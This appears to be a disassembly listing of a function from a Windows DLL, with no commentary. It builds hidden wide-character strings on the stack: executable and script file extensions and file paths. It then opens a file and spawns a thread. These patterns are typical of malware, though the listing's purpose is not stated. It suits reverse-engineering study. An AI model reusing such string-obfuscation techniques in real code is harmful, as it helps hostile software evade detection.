mov byte [ebp - 4], 0x19
mov edx, eax
lea ecx, [ebp - 0x528]
mov dword [esp], 0x10045944
call fcn.1000a0d0
lea ecx, [ebp - 0x498]
push ecx
mov edx, eax
lea ecx, [ebp - 0x5a0]
mov byte [ebp - 4], 0x1a
call fcn.1000a1bd
pop ecx
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.10008b78
push ebx
push 1
lea ecx, [ebp - 0x5a0]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x528]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x600]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x3e0]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x498]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x7ff
lea eax, [ebp - 0x1a9f]
push ebx
push eax
mov byte [ebp - 0x1aa0], bl
call fcn.10010900
sub esp, 0xc
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.10008b06
lea ecx, [ebp - 0x630]
call fcn.1000167b
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x1000667d
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x1aa0]
push 0x800
push eax
call fcn.100100cb
add esp, 0xc
lea ecx, [ebp - 0x630]
call fcn.10008ae5
lea ecx, [ebp - 0x1aa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100066a6
push ebx
lea eax, [ebp - 0x424]
push eax
sub ecx, edx
push ecx
lea eax, [ebp - 0x1aa0]
push eax
push edi
call dword [0x1006ca18]
mov ecx, edi
call fcn.1000b40a
push 0x10045897
push ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x1c], ebx
call fcn.1000fb68
xor eax, eax
mov word [ebp - 0x408], ax
lea edi, [ebp - 0x406]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
stosw word es:[edi], ax
pop ecx
lea eax, [ebp - 0x408]
push eax
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], ebx
call dword [0x1006ca14]
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [0x1006ca10]
mov ecx, dword [ebp - 0x14c]
xor eax, eax
or eax, dword [ebp - 0x150]
push 0x45
mov dword [esi + 0x70], eax
xor eax, eax
mov word [ebp - 0x142], ax
pop eax
push 0x58
mov word [ebp - 0x148], ax
mov word [ebp - 0x144], ax
pop eax
mov word [ebp - 0x146], ax
and ecx, 0x7fffffff
xor eax, eax
push 7
or ecx, ebx
pop edi
mov word [ebp - 0x368], ax
lea eax, [ebp - 0x148]
mov dword [esi + 0x74], ecx
push eax
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x354], edi
mov dword [ebp - 0x358], ebx
call fcn.100092a6
lea eax, [ebp - 0x368]
lea ebx, [esi + 0x48]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x1b
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x44
pop eax
mov word [ebp - 0x100], ax
xor eax, eax
push 0x4c
pop ecx
mov word [ebp - 0xfa], ax
mov dword [ebp - 0x42c], eax
mov word [ebp - 0x43c], ax
lea eax, [ebp - 0x100]
mov word [ebp - 0xfc], cx
mov word [ebp - 0xfe], cx
push eax
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0x428], edi
call fcn.100092a6
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x43c]
push eax
mov ecx, ebx
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x43c]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x43
pop eax
push 0x4f
pop edi
mov word [ebp - 0x158], ax
push 0x4d
pop eax
mov word [ebp - 0x154], ax
xor eax, eax
mov word [ebp - 0x152], ax
mov dword [ebp - 0x388], eax
mov word [ebp - 0x398], ax
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x398]
mov word [ebp - 0x156], di
mov dword [ebp - 0x384], 7
call fcn.100092a6
lea eax, [ebp - 0x398]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x1d
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x398]
mov byte [ebp - 4], 0xf
call fcn.10009482
xor eax, eax
push 0x43
mov word [ebp - 0x132], ax
pop eax
push 0x4c
mov word [ebp - 0x138], ax
pop eax
mov word [ebp - 0x134], ax
push 0x50
pop eax
mov word [ebp - 0x136], ax
xor eax, eax
mov dword [ebp - 0x4e8], eax
mov word [ebp - 0x4f8], ax
lea eax, [ebp - 0x138]
push eax
lea ecx, [ebp - 0x4f8]
mov dword [ebp - 0x4e4], 7
call fcn.100092a6
lea eax, [ebp - 0x4f8]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x1e
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x43
pop eax
push 0x58
mov word [ebp - 0x126], ax
mov word [ebp - 0x128], di
pop edi
xor eax, eax
mov word [ebp - 0x124], di
mov word [ebp - 0x122], ax
mov dword [ebp - 0x3b4], 7
mov dword [ebp - 0x3b8], eax
mov word [ebp - 0x3c8], ax
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x3c8]
call fcn.100092a6
lea eax, [ebp - 0x3c8]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x1f
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x56
pop eax
mov word [ebp - 0x130], ax
xor eax, eax
push 0x44
mov word [ebp - 0x12a], ax
pop eax
mov word [ebp - 0x12c], ax
xor eax, eax
push 7
mov word [ebp - 0x12e], di
pop edi
mov dword [ebp - 0x458], eax
mov word [ebp - 0x468], ax
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x454], edi
call fcn.100092a6
push 0x20
pop eax
mov byte [ebp - 4], al
lea eax, [ebp - 0x468]
push eax
mov ecx, ebx
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x59
pop eax
mov word [ebp - 0x13e], ax
xor eax, eax
mov word [ebp - 0x13a], ax
push 0x53
pop eax
mov word [ebp - 0x140], ax
mov word [ebp - 0x13c], ax
xor eax, eax
mov dword [ebp - 0x3e8], eax
mov word [ebp - 0x3f8], ax
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0x3e4], edi
call fcn.100092a6
lea eax, [ebp - 0x3f8]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x21
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x52
pop eax
mov word [ebp - 0x104], ax
push 0x53
pop eax
mov word [ebp - 0x108], ax
xor eax, eax
mov word [ebp - 0x102], ax
push 0x43
pop eax
mov word [ebp - 0x106], ax
xor eax, eax
mov dword [ebp - 0x4b8], eax
mov word [ebp - 0x4c8], ax
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x4b4], edi
call fcn.100092a6
lea eax, [ebp - 0x4c8]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x22
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x42
pop edi
push 0x41
pop eax
mov word [ebp - 0x114], ax
push 0x56
pop eax
mov word [ebp - 0x118], ax
xor eax, eax
mov word [ebp - 0x112], ax
mov dword [ebp - 0x410], eax
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x420]
mov word [ebp - 0x116], di
mov dword [ebp - 0x40c], 7
call fcn.100092a6
lea eax, [ebp - 0x420]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x23
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x45
pop eax
mov word [ebp - 0x11c], ax
xor eax, eax
mov word [ebp - 0x11a], ax
push 0x56
pop eax
mov word [ebp - 0x120], ax
xor eax, eax
mov dword [ebp - 0x324], eax
mov word [ebp - 0x334], ax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x334]
mov word [ebp - 0x11e], di
mov dword [ebp - 0x320], 7
call fcn.100092a6
lea eax, [ebp - 0x334]
mov byte [ebp - 4], 0x24
push eax
mov ecx, ebx
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0xf
call fcn.10009482
xor eax, eax
push 0x56
mov word [ebp - 0x15a], ax
pop eax
mov word [ebp - 0x160], ax
push 0x53
pop eax
mov word [ebp - 0x15c], ax
xor eax, eax
mov dword [ebp - 0x340], eax
mov word [ebp - 0x350], ax
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0x350]
mov word [ebp - 0x15e], di
mov dword [ebp - 0x33c], 7
call fcn.100092a6
lea eax, [ebp - 0x350]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x25
call fcn.10008bd8
xor eax, eax
push eax
push 1
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x56
pop eax
push 0x58
mov word [ebp - 0x110], ax
pop eax
mov word [ebp - 0x10c], ax
xor eax, eax
push 7
mov word [ebp - 0x10e], di
mov word [ebp - 0x10a], ax
pop edi
mov dword [ebp - 0x370], eax
mov word [ebp - 0x380], ax
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x36c], edi
call fcn.100092a6
lea eax, [ebp - 0x380]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x26
call fcn.10008bd8
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0x380]
mov byte [ebp - 4], 0xf
call fcn.10009482
push 0x74
pop eax
push 0x61
pop ecx
push 0x5c
mov word [ebp - 0x256], ax
pop eax
push 0x6d
mov word [ebp - 0x25c], ax
pop eax
mov word [ebp - 0x246], cx
mov word [ebp - 0x248], ax
mov word [ebp - 0x258], cx
push 0x63
pop eax
push 0x73
mov word [ebp - 0x23e], ax
pop eax
push 0x2e
mov word [ebp - 0x24e], ax
pop eax
push 0x76
mov word [ebp - 0x240], ax
pop eax
push 0x64
pop edx
push 0x6e
mov word [ebp - 0x23c], ax
pop eax
push 0x69
mov word [ebp - 0x242], ax
pop eax
mov word [ebp - 0x244], ax
xor eax, eax
push 0x65
mov word [ebp - 0x238], ax
pop eax
push 0x62
mov word [ebp - 0x24c], ax
pop eax
mov word [ebp - 0x252], ax
push 0x5c
pop eax
mov word [ebp - 0x24a], ax
xor eax, eax
mov word [ebp - 0x3b0], ax
lea eax, [ebp - 0x25c]
mov word [ebp - 0x254], cx
mov word [ebp - 0x250], cx
push eax
lea ecx, [ebp - 0x3b0]
mov word [ebp - 0x23a], dx
mov word [ebp - 0x25a], dx
mov dword [ebp - 0x39c], edi
mov dword [ebp - 0x3a0], ebx
call fcn.100092a6
push 0x1004e6b8
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0x27
call fcn.10008b2e
lea ecx, [ebp - 0x3b0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 0x28
call fcn.1000a1bd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x558]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x3b0]
mov byte [ebp - 4], 0x2b
call fcn.10009482
cmp dword [ebp - 0x2f0], 8
lea ecx, [ebp - 0x304]
cmovae ecx, dword [ebp - 0x304]
call fcn.1000b58e
test eax, eax
je 0x10006e3e
cmp dword [ebp - 0x2f0], 8
lea ecx, [ebp - 0x304]
cmovae ecx, dword [ebp - 0x304]
push ecx
push 0x80
push 3
push ecx
push 1
mov edx, 0x80000000
call fcn.1000b4cc
mov edi, eax
add esp, 0x14
cmp edi, 0xffffffff
je 0x10006e3e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jne 0x10006e35
mov byte [esi + 0x2b], bl
mov ecx, edi
call fcn.1000b40a
jmp 0x10006e41
mov byte [esi + 0x2b], bl
cmp byte [esi + 0x2b], 0
je 0x10006e4e
mov ecx, esi
call fcn.1000735b
push 0x5c
pop eax
push 0x2e
mov word [ebp - 0x18c], ax
pop eax
push 0x6d
pop edi
push 0x72
mov word [ebp - 0x17c], ax
pop eax
push 0x74
mov word [ebp - 0x180], ax
pop eax
push 0x6f
mov word [ebp - 0x17a], ax
pop eax
push 0x43
mov word [ebp - 0x17e], ax
pop eax
push 0x50
mov word [ebp - 0x186], ax
pop eax
push 0x52
pop ecx
mov word [ebp - 0x182], ax
mov word [ebp - 0x188], ax
push 0x41
pop eax
mov word [ebp - 0x184], ax
xor eax, eax
mov word [ebp - 0x176], ax
lea eax, [ebp - 0x18c]
mov word [ebp - 0x18a], cx
push eax
lea ecx, [ebp - 0x648]
mov word [ebp - 0x178], di
call fcn.10008b2e
mov esi, eax
push 0x1004e6b8
lea ecx, [ebp - 0x588]
mov byte [ebp - 4], 0x2c
call fcn.10008b2e
push esi
mov edx, eax
lea ecx, [ebp - 0x660]
mov byte [ebp - 4], 0x2d
call fcn.1000a1bd
pop ecx
mov ecx, dword [ebp - 0x2d8]
push eax
call fcn.10008b78
push ebx
push 1
lea ecx, [ebp - 0x660]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x588]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x648]
mov byte [ebp - 4], 0x2b
call fcn.10009482
push 0x6f
pop eax
push 0x50
mov word [ebp - 0x1de], ax
xor eax, eax
mov word [ebp - 0x1cc], ax
pop eax
push 0x68
pop ecx
push 0x74
mov word [ebp - 0x1da], cx
pop ecx
mov word [ebp - 0x1e8], ax
mov word [ebp - 0x1d0], cx
push 0x63
pop ecx
push 0x41
mov word [ebp - 0x1d6], cx
pop ecx
push 0x6b
mov word [ebp - 0x1e2], ax
pop eax
push 0x2e
mov word [ebp - 0x1d4], ax
pop eax
push 0x72
mov word [ebp - 0x1d2], ax
pop eax
push 0x43
mov word [ebp - 0x1e4], cx
pop ecx
push 0x65
mov word [ebp - 0x1e0], ax
pop eax
push 0x5c
mov word [ebp - 0x1d8], ax
pop eax
push 0x52
mov word [ebp - 0x1ec], ax
pop eax
mov word [ebp - 0x1ea], ax
lea eax, [ebp - 0x1ec]
mov word [ebp - 0x1e6], cx
mov word [ebp - 0x1dc], cx
push eax
lea ecx, [ebp - 0x5e8]
mov word [ebp - 0x1ce], di
call fcn.10008b2e
mov esi, eax
push 0x2e
pop eax
push 0x1004e6b8
lea ecx, [ebp - 0x690]
mov byte [ebp - 4], al
call fcn.10008b2e
push esi
mov edx, eax
lea ecx, [ebp - 0x5b8]
mov byte [ebp - 4], 0x2f
call fcn.1000a1bd
pop ecx
mov ecx, dword [ebp - 0x2e0]
push eax
call fcn.10008b78
push ebx
push 1
lea ecx, [ebp - 0x5b8]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x690]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 0x2b
call fcn.10009482
call fcn.100042c8
mov esi, dword [ebp - 0x10]
test eax, eax
setg al
cmp dword [0x1006c9f4], ebx
jne 0x1000707e
test al, al
jne 0x1000707e
push ebx
push ebx
push esi
push 0x10003a29
push ebx
push ebx
call fcn.1000f8b5
add esp, 0x18
mov dword [0x1006c9f4], eax
cmp byte [esi + 0x2b], 0
jne 0x100070a4
cmp dword [0x1006c9ec], ebx
jne 0x100070a4
mov ecx, 0x7d0
mov byte [0x1004e6b2], 1
call fcn.1000ba57
mov ecx, esi
call fcn.10008732
push ebx
push 1
lea ecx, [ebp - 0x304]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.10009482
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x1c